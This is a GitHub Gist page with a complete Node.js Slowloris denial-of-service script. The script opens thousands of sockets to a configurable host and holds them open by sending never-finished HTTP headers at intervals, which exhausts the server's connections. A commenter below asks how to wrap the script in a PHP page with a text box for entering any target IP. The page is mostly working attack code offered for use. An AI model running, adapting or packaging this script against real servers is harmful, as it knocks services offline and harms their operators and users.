Last active
April 22, 2022 13:14
-
-
Save mehulmpt/49eee6cc0e84d6770b904336d0ad7f3e to your computer and use it in GitHub Desktop.
Slow Loris attack using Node
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const net = require('net') | |
const opts = { | |
host: 'localhost', | |
port: 1234, | |
sockets: 2000, | |
respawn: false, | |
rate: 600, | |
method: 'GET', | |
path: '/' | |
} | |
let activeSockets = 0 | |
console.log('Starting sockets...') | |
const addSocket = () => { | |
let socket = new net.Socket() | |
socket.connect(opts.port, opts.host) | |
socket.on('connect', () => { | |
socket.write(`${opts.method} ${opts.path} HTTP/1.1\n`, 'ascii', () => { | |
console.log('Socket activated. (Total active: ' + activeSockets + ')') | |
activeSockets++ | |
socket.write(`Host: ${opts.host}\n`) | |
let sentPacketCount = 0 | |
const intv = setInterval(() => { | |
if(!socket) clearInterval(intv) | |
else { | |
socket.write(`x-header-${sentPacketCount}: ${sentPacketCount}\n`) | |
sentPacketCount++ | |
} | |
}, opts.rate) | |
}) | |
socket.on('error', err => { | |
console.log('Socket error - ' + err.message) | |
socket.destroy() | |
}) | |
socket.on('data', (data) => { | |
console.log('Socket data - ' + data.toString()) | |
}) | |
socket.on('close', () => { | |
activeSockets-- | |
socket = false | |
if (opts.respawn) { | |
console.log('Respawning dead socket...') | |
addSocket() | |
} | |
}) | |
}) | |
socket.on('error', err => { | |
console.log(`Server down.`) | |
}) | |
} | |
for (let i=0;i<opts.sockets; i++) { | |
addSocket() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@mehulmpt I wanna know if this is possible to run on a web server with a php file, so like, get the javascript code into a normal script area and then run it, but be able to choose what the ip address is with a little text input box